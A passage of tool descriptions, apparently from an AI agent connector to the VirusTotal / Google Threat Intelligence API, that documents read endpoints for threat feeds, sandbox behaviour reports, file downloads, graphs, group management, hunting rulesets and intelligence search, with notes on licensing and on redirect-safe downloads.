file is a .tar.bz2 file which contains the 60 minutely feeds for that hour. The provided time argument must be in YYYYMMDDhh format. For example, time 2021012211 returns the batches correspoding to January 21st 2021 11:00 - 11:59 UTC. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/file_behaviours/hourly/{time}. Scopes: api. virus_total_get_feeds_files_by_time (read) — Get a per-minute file feed batch via GET /feeds/files/{time}. With this endpoint you can download an individual one-minute batch by providing a time consisting of a string with format YYYYMMDDhhmm. Time 201912010802 will return the batch corresponding to December 1st, 2019 08:02 UTC. You can download batches up to 7 days old, and the most recent batch has always a 60 minutes lag respecting to the current time. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/files/{time}. Scopes: api. virus_total_get_feeds_files_by_token_download (read) — Download a file published in the file feed via GET /feeds/files/{token}/download. Each JSON object contained in the file feed packages include a URL to this API endpoint to download the corresponding file. The link only works during the feed's lifetime, which is 7 days. Check /feeds/files/{time} for more information. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/files/{token}/download. Scopes: api. virus_total_get_feeds_files_hourly_by_time (read) — Get a hourly file feed batch via GET /feeds/files/hourly/{time}. This endpoint returns a single package containing all minutely packages returned in /feeds/files/{time} endpoint for a given hour. The returned file is a .tar.bz2 file which contains the 60 minutely feeds for that hour. The provided time argument must be in YYYYMMDDhh format. For example, time 2021012211 returns the batches correspoding to January 21st 2021 11:00 - 11:59 UTC. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/files/hourly/{time}. Scopes: api. virus_total_get_feeds_ip_addresses_by_time (read) — Get a minutely IP address feed batch via GET /feeds/ip_addresses/{time}. With this endpoint you can download an individual one-minute batch by providing a time consisting of a string with format YYYYMMDDhhmm. Time 201912010802 will return the batch corresponding to December 1st, 2019 08:02 UTC. You can download batches up to 7 days old, and the most recent batch has always a 60 minutes lag with respect with to the current time. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/ip_addresses/{time}. Scopes: api. virus_total_get_feeds_ip_addresses_hourly_by_time (read) — Get an hourly IP address feed batch via GET /feeds/ip_addresses/hourly/{time}. This endpoint returns a single package containing all minutely packages returned in /feeds/ip_addresses/{time} endpoint for a given hour. The returned file is a .tar.bz2 file which contains the 60 minutely feeds for that hour. The provided time argument must be in YYYYMMDDhh format. For example, time 2021012211 returns the batches correspoding to January 21st 2021 11:00 - 11:59 UTC. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/ip_addresses/hourly/{time}. Scopes: api. virus_total_get_feeds_urls_by_time (read) — Get a minutely URL feed batch via GET /feeds/urls/{time}. With this endpoint you can download an individual one-minute batch by providing a time consisting of a string with format YYYYMMDDhhmm. Time 201912010802 will return the batch corresponding to December 1st, 2019 08:02 UTC. You can download batches up to 7 days old, and the most recent batch has always a 60 minutes lag with respect with to the current time. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/urls/{time}. Scopes: api. virus_total_get_feeds_urls_hourly_by_time (read) — Get an hourly URL feed batch via GET /feeds/urls/hourly/{time}. This endpoint returns a single package containing all minutely packages returned in /feeds/urls/{time} endpoint for a given hour. The returned file is a .tar.bz2 file which contains the 60 minutely feeds for that hour. The provided time argument must be in YYYYMMDDhh format. For example, time 2021012211 returns the batches correspoding to January 21st 2021 11:00 - 11:59 UTC. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/feeds/urls/hourly/{time}. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id (read) — Get a file behavior report from a sandbox via GET /file_behaviours/{sandbox_id}. Fetches a File behaviour object by ID. Sandbox Report identifiers A Sandbox report ID has two main components: the analysed file's SHA256 and the sandbox name. These two components are joined by a _ character. GET /api/v1/virus_total/file_behaviours/{sandbox_id}. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_by_relationship (read) — Get objects related to a behaviour report via GET /file_behaviours/{sandbox_id}/{relationship}. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Available relationships are described in the File behaviour object documentation. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/{relationship}. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_evtx (read) — Get the EVTX file generated during a file’s behavior analysis (IoC Investigation) via GET /file_behaviours/{sandbox_id}/evtx. Fetch the EVTX file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/evtx. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_html (read) — Get a detailed HTML behaviour report (IoC Investigation) via GET /file_behaviours/{sandbox_id}/html. Returns a File behaviour object as an HTML report. Sandbox Report identifiers A Sandbox report ID has two main components: the analysed file's SHA256 and the sandbox name. These two components are joined by a _ character. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/html. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_memdump (read) — Get the memdump file generated during a file’s behavior analysis (IoC Investigation) via GET /file_behaviours/{sandbox_id}/memdump. Fetch the memdump file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/memdump. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_pcap (read) — Get the PCAP file generated during a file’s behavior analysis (IoC Investigation) via GET /file_behaviours/{sandbox_id}/pcap. Fetch the PCAP file associated with the sandbox execution. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. REPLY IS A FILE, NOT JSON: this endpoint answers with the file itself, so the result is a bounded descriptor of it (content_type, content_length, and the decoded text only when the body is textual and small). Unbounded bytes are never carried into a tool result; fetch the file from VirusTotal directly if the bytes themselves are needed. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/pcap. Scopes: api. virus_total_get_file_behaviours_by_sandbox_id_relationships_by_relationship (read) — Get object descriptors related to a behaviour report via GET /file_behaviours/{sandbox_id}/relationships/{relationship}. This endpoint is the same as /file_behaviours/{sandbox_id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/file_behaviours/{sandbox_id}/relationships/{relationship}. Scopes: api. virus_total_get_files_by_id (read) — Get a file report via GET /files/{id}. Returns a File object. GET /api/v1/virus_total/files/{id}. Scopes: api. virus_total_get_files_by_id_behaviour_mitre_trees (read) — Get a summary of all MITRE ATT&CK techniques observed in a file (IoC Investigation) via GET /files/{id}/behaviour_mitre_trees. This endpoint returns a summary of MITRE ATT&CK tactics and techniques observed in each of the sandbox reports of a file. The resulting structure is the following one:. GET /api/v1/virus_total/files/{id}/behaviour_mitre_trees. Scopes: api. virus_total_get_files_by_id_behaviour_summary (read) — Get a summary of all behavior reports for a file (IoC Investigation) via GET /files/{id}/behaviour_summary. This endpoint returns a summary with behavioural information about the file. The summary consists in merging together the reports produced by the multiple sandboxes we have integrated in VirusTotal. This API call returns all fields contained in the File behaviour object, except the ones that make sense only for individual sandboxes: - analysis_date - behash - has_html_report - has_pcap - last_modification_date - sandbox_name. GET /api/v1/virus_total/files/{id}/behaviour_summary. Scopes: api. virus_total_get_files_by_id_behaviours (read) — Get all behavior reports for a file via GET /files/{id}/behaviours. This endpoint returns behavioural information from each sandbox about the file. This API call returns all fields contained in the File behaviour object. Note some of the entries have - has_html_report if true you may fech the HTML File behaviour. - has_pcap if true you may fech the PCAP File behaviour. GET /api/v1/virus_total/files/{id}/behaviours. Scopes: api. virus_total_get_files_by_id_by_relationship (read) — Get objects related to a file via GET /files/{id}/{relationship}. File objects have many relationships to other files and objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Some relationships are accessible only to users who have access to VirusTotal Enterprise package. More common relationships are described in the File object documentation and you can use the metadata endpoint to get the full list of relationships. GET /api/v1/virus_total/files/{id}/{relationship}. Scopes: api. virus_total_get_files_by_id_comments (read) — Get comments on a file via GET /files/{id}/comments. Returns a list of Comment objects. GET /api/v1/virus_total/files/{id}/comments. Scopes: api. virus_total_get_files_by_id_download (read) — Download a file via GET /files/{id}/download. This endpoint is similar to GET /files/{id}/download_url, but it redirects you to the download URL. The download URL you are redirected to can be reused as many times as you want for a period of 1 hour. After that period the URL expires and can't be used anymore. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: This endpoint answers 302 with a signed download URL on a third-party storage host, and this connector never follows a redirect: httpx strips only `Authorization` on a cross-origin hop, so VirusTotal's `x-apikey` header would be sent to that host. Call Get a file's download URL (GET /files/{id}/download_url) instead -- it returns the same signed URL as JSON, reusable for an hour. GET /api/v1/virus_total/files/{id}/download. Scopes: api. virus_total_get_files_by_id_download_url (read) — Get a file’s download URL via GET /files/{id}/download_url. This endpoint returns a signed URL from where you can download the specified file. Getting the URL counts as a file download in your quota, even if you don't actually download the file, but once you have the URL you can use it to download the file multiple times without consuming any quota at all. The URL expires after 1 hour. GET /api/v1/virus_total/files/{id}/download_url. Scopes: api. virus_total_get_files_by_id_relationships_by_relationship (read) — Get object descriptors related to a file (IoC Investigation) via GET /files/{id}/relationships/{relationship}. This endpoint is the same as /files/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/files/{id}/relationships/{relationship}. Scopes: api. virus_total_get_files_by_id_votes (read) — Get votes on a file via GET /files/{id}/votes. Returns a list of Vote objects. GET /api/v1/virus_total/files/{id}/votes. Scopes: api. virus_total_get_files_upload_url (read) — Get a URL for uploading large files (IoC Investigation) via GET /files/upload_url. For uploading files smaller than 32MB you can simply use the POST /files endpoint, but for larger files you need to obtain a special upload URL first, and then send the POST request to the upload URL instead of sending it to /files. The POST request should have the same format expected by the POST /files endpoint. Each upload URL can be used only once. GET /api/v1/virus_total/files/upload_url. Scopes: api. virus_total_get_graphs (read) — Search graphs via GET /graphs. Endpoint used to search graphs. There are a set of multiple modifiers that you can use to refine your search results. You can combine all of them together and use them in conjunction with AND, OR and NOT operators. Date and numeric fields support the suffix plus or minus to match values greater or less than the passed value. If not sign has been added to the modifier, you will get exact matches. GET /api/v1/virus_total/graphs. Scopes: api. virus_total_get_graphs_by_id (read) — Get a graph object via GET /graphs/{id}. Returns a Graph object. GET /api/v1/virus_total/graphs/{id}. Scopes: api. virus_total_get_graphs_by_id_by_relationship (read) — Get objects related to a graph via GET /graphs/{id}/{relationship}. Graph objects have number of relationships to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. Some relationships are accesible only to users who have access to Google Threat Intelligence. The relationships supported by graph objects are documented in the Graph API object page. GET /api/v1/virus_total/graphs/{id}/{relationship}. Scopes: api. virus_total_get_graphs_by_id_comments (read) — Get comments on a graph via GET /graphs/{id}/comments. This endpoint returns the comments posted in a given graph. Check Graph comments relationship page to know more about the returned object. GET /api/v1/virus_total/graphs/{id}/comments. Scopes: api. virus_total_get_graphs_by_id_relationships_by_relationship (read) — Get object descriptors related to a graph via GET /graphs/{id}/relationships/{relationship}. This endpoint is the same as /graphs/{id}/{relationship} except it returns just the related object's IDs (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/graphs/{id}/relationships/{relationship}. Scopes: api. virus_total_get_graphs_by_id_relationships_editors (read) — Get users and groups that can edit a graph via GET /graphs/{id}/relationships/editors. This endpoint returns the users and groups that can edit the graph. The graph needs to be shared with them as Editor to appear here. GET /api/v1/virus_total/graphs/{id}/relationships/editors. Scopes: api. virus_total_get_graphs_by_id_relationships_editors_by_user_or_group_id (read) — Check if a user or group can edit a graph via GET /graphs/{id}/relationships/editors/{user_or_group_id}. This endpoint returns true if the user or group has Editor access to the graph. GET /api/v1/virus_total/graphs/{id}/relationships/editors/{user_or_group_id}. Scopes: api. virus_total_get_graphs_by_id_relationships_viewers (read) — Get users and groups that can view a graph via GET /graphs/{id}/relationships/viewers. This endpoint returns the users that can view the graph. The graph needs to be shared with them as Viewer to appear here. GET /api/v1/virus_total/graphs/{id}/relationships/viewers. Scopes: api. virus_total_get_graphs_by_id_relationships_viewers_by_user_or_group_id (read) — Check if a user or group can view a graph via GET /graphs/{id}/relationships/viewers/{user_or_group_id}. This endpoint returns true if the user has Viewer access to the graph. GET /api/v1/virus_total/graphs/{id}/relationships/viewers/{user_or_group_id}. Scopes: api. virus_total_get_groups_by_id (read) — Get a group object via GET /groups/{id}. GET /api/v1/virus_total/groups/{id}. Scopes: api. virus_total_get_groups_by_id_api_usage (read) — Get a group’s API usage via GET /groups/{id}/api_usage. This endpoint retrieves information about a the API usage, broken down by endpoint, of a group in a specific range of days (last 30 days by default). The period of time can be delimited by the two query parameters start_date and end_date, being the first and last day when API V3 usage data will be retrieved, respectively. The data available includes only the last 60 natural days. GET /api/v1/virus_total/groups/{id}/api_usage. Scopes: api. virus_total_get_groups_by_id_by_relationship (read) — Get objects related to a group via GET /groups/{id}/{relationship}. Group objects have relationships to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. The relationships supported by group objects are described in the Group object section. GET /api/v1/virus_total/groups/{id}/{relationship}. Scopes: api. virus_total_get_groups_by_id_relationships_administrators (read) — Get administrators for a group via GET /groups/{id}/relationships/administrators. Returns a list of User objects. GET /api/v1/virus_total/groups/{id}/relationships/administrators. Scopes: api. virus_total_get_groups_by_id_relationships_administrators_by_user_id (read) — Check if a user is a group admin via GET /groups/{id}/relationships/administrators/{user_id}. GET /api/v1/virus_total/groups/{id}/relationships/administrators/{user_id}. Scopes: api. virus_total_get_groups_by_id_relationships_by_relationship (read) — Get object descriptors related to a group via GET /groups/{id}/relationships/{relationship}. This endpoint is the same as /groups/{id}/{relationship} except it returns just the related object's descriptor (and context attributes, if any) instead of returning all attributes. GET /api/v1/virus_total/groups/{id}/relationships/{relationship}. Scopes: api. virus_total_get_groups_by_id_relationships_service_accounts (read) — Get Service Accounts of a group via GET /groups/{id}/relationships/service_accounts. Get all the Service Accounts belonging to your Google Threat Intelligence group. GET /api/v1/virus_total/groups/{id}/relationships/service_accounts. Scopes: api. virus_total_get_groups_by_id_relationships_users (read) — Get group users via GET /groups/{id}/relationships/users. GET /api/v1/virus_total/groups/{id}/relationships/users. Scopes: api. virus_total_get_groups_by_id_relationships_users_by_user_id (read) — Check if a user is a group member via GET /groups/{id}/relationships/users/{user_id}. GET /api/v1/virus_total/groups/{id}/relationships/users/{user_id}. Scopes: api. virus_total_get_intelligence_hunting_notification_files (read) — Retrieve file objects for Livehunt notifications via GET /intelligence/hunting_notification_files. Each file object returned, _in addition to all the file details_, has a context_attributes property that contains information about the Google Threat Intelligence Hunting Livehunt notification tied to the file, this is an example: Other than that, the filter parameter allows to filter the matching files according to the Google TI Hunting Livehunt notification properties. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_notification_files. Scopes: api. virus_total_get_intelligence_hunting_notifications (read) — Get Livehunt notifications via GET /intelligence/hunting_notifications. This endpoint returns the notifications triggered by your own Livehunt rulesets, or by any other rule owned by somebody else and shared with you. The filter parameter allows to filter the notification according to the values of certain attributes. For example you can get the notifications that are tagged as my_rule with tag:my_rule. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_notifications. Scopes: api. virus_total_get_intelligence_hunting_notifications_by_id (read) — Get a Livehunt notification object via GET /intelligence/hunting_notifications/{id}. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_notifications/{id}. Scopes: api. virus_total_get_intelligence_hunting_rulesets (read) — Get Livehunt rulesets via GET /intelligence/hunting_rulesets. This endpoint returns the Google Threat Intelligence Hunting Livehunt rulesets viewable by the user making the request. A ruleset is viewable by a user either if it was created by the user or if it was shared with him by someone else. This endpoint is equivalent to GET /users/{user}/hunting_rulesets, where {user} is the username of the user owning the API key. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_rulesets. Scopes: api. virus_total_get_intelligence_hunting_rulesets_by_id (read) — Get a Livehunt ruleset via GET /intelligence/hunting_rulesets/{id}. Returns a Hunting Ruleset object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_rulesets/{id}. Scopes: api. virus_total_get_intelligence_hunting_rulesets_by_id_by_relationship (read) — Get objects related to a Livehunt ruleset via GET /intelligence/hunting_rulesets/{id}/{relationship}. Hunting Rulesets objects have relationships to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. The relationships supported by Hunting Rulesets objects are documented in the Hunting Rulesets API object page. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_rulesets/{id}/{relationship}. Scopes: api. virus_total_get_intelligence_hunting_rulesets_by_id_relationships_by_relationship (read) — Get object descriptors related to a Livehunt ruleset via GET /intelligence/hunting_rulesets/{id}/relationships/{relationship}. Same as /hunting_rulesets/{id}/{relationships} except it returns just the related object's descriptor (and context attributes, if any) instead of returning all attributes. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_rulesets/{id}/relationships/{relationship}. Scopes: api. virus_total_get_intelligence_hunting_rulesets_by_id_relationships_editors_by_user_or_group_id (read) — Check if a user or group is a Livehunt ruleset editor via GET /intelligence/hunting_rulesets/{id}/relationships/editors/{user_or_group_id}. This endpoint returns true if the user has editing access to the Hunting ruleset. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/hunting_rulesets/{id}/relationships/editors/{user_or_group_id}. Scopes: api. virus_total_get_intelligence_retrohunt_jobs (read) — Get a list of Retrohunt jobs via GET /intelligence/retrohunt_jobs. Returns a list of Retrohunt Job objects. Accepted filters are status:(starting|running|aborting|aborted|finished). LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/retrohunt_jobs. Scopes: api. virus_total_get_intelligence_retrohunt_jobs_by_id (read) — Get a Retrohunt job object via GET /intelligence/retrohunt_jobs/{id}. Returns a Retrohunt Job object. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/retrohunt_jobs/{id}. Scopes: api. virus_total_get_intelligence_retrohunt_jobs_by_id_matching_files (read) — Retrieve matches for a Retrohunt job via GET /intelligence/retrohunt_jobs/{id}/matching_files. Retrohunt jobs are related to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationships URL. The supported relationships for Retrohunt jobs are described in the Retrohunt Jobs API object page. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/retrohunt_jobs/{id}/matching_files. Scopes: api. virus_total_get_intelligence_search (read) — Advanced corpus search via GET /intelligence/search. This endpoint allows to search for files in the Google Threat Intelligence's dataset, using the same query syntax that you would use in the Google TI user interface. URL Safe encoding must be used when using this endpoint programatically. The result from this endpoint is a collection of file objects that match the given query. If the descriptors_only parameter is set to true, the resulting collection will contain only the object descriptors. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/search. Scopes: api. virus_total_get_intelligence_search_snippets_by_snippet (read) — Get file content search snippets via GET /intelligence/search/snippets/{snippet}. This request returns file content snippets that matched a query in the /search endpoint. The response is a list of strings containing both content hexdump and plain text. Matched content is found between * characters, more file content is returned to provide additional context about the match. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/search/snippets/{snippet}. Scopes: api. virus_total_get_intelligence_zip_files_by_id (read) — Check a ZIP file’s status (IoC Investigation) via GET /intelligence/zip_files/{id}. This endpoint returns information about a ZIP file. The status attribute contains one of the following statuses: - starting - creating - finished - timeout - error-starting - error-creating When the status is finished you may proceed to download the file. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/zip_files/{id}. Scopes: api. virus_total_get_intelligence_zip_files_by_id_download (read) — Download a ZIP file (IoC Investigation) via GET /intelligence/zip_files/{id}/download. This endpoint is similar to GET /zip_files/{id}/download_url, but it redirects you to the download URL. The download URL you are redirected to can be reused as many times as you want for a period of 1 hour. After that period the URL expires and can't be used anymore. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. THIS TOOL CANNOT BE CALLED and refuses before any request is sent: This endpoint answers 302 with a signed download URL on a third-party storage host, and this connector never follows a redirect (VirusTotal's `x-apikey` header would be sent to that host; httpx strips only `Authorization`). Call Get a ZIP file's download URL (GET /intelligence/zip_files/{id}/download_url) instead -- it returns the same signed URL as JSON, valid for an hour. GET /api/v1/virus_total/intelligence/zip_files/{id}/download. Scopes: api. virus_total_get_intelligence_zip_files_by_id_download_url (read) — Get a ZIP file’s download URL (IoC Investigation) via GET /intelligence/zip_files/{id}/download_url. This endpoint returns a signed URL from where you can download the specified ZIP file. The URL expires after 1 hour. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/intelligence/zip_files/{id}/download_url. Scopes: api. virus_total_get_ioc_stream (read) — Get objects from the IoC Stream via GET /ioc_stream. The IoC stream endpoint returns different types of objects (files, URLs, domains, IP addresses) coming from multiple origins (you can restrict the returned types by using the filters explained below). In addition, depending on the origin of the notification there will be different context attributes added to these objects. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/ioc_stream. Scopes: api. virus_total_get_ioc_stream_notifications_by_id (read) — Get an IoC Stream notification via GET /ioc_stream_notifications/{id}. Returns an IoC Stream notification. LICENCE: this endpoint needs a paid Google Threat Intelligence / VirusTotal Enterprise entitlement (private scanning, intelligence search, hunting, the IoC feeds and the threat-object collections are licensed separately). A free Community key reaches it and is refused with a privilege error -- that is the account's licence, not a broken tool. GET /api/v1/virus_total/ioc_stream_notifications/{id}. Scopes: api. virus_total_get_ip_addresses_by_ip (read) — Get an IP address report via GET /ip_addresses/{ip}. Returns an IP address object. GET /api/v1/virus_total/ip_addresses/{ip}. Scopes: api. virus_total_get_ip_addresses_by_ip_by_relationship (read) — Get objects related to an IP address via GET /ip_addresses/{ip}/{relationship}. IP addresses have number of relationships to other objects. As mentioned in the Relationships section, those related objects can be retrieved by sending GET requests to the relationship URL. All available relationships are documented in the IP address API object page. GET /api/v1/virus_total/ip_addresses/{ip}/{relationship}. Scopes: api. virus_total_get_ip_addresses_by_ip_comments (read) — Get comments on an IP address via GET 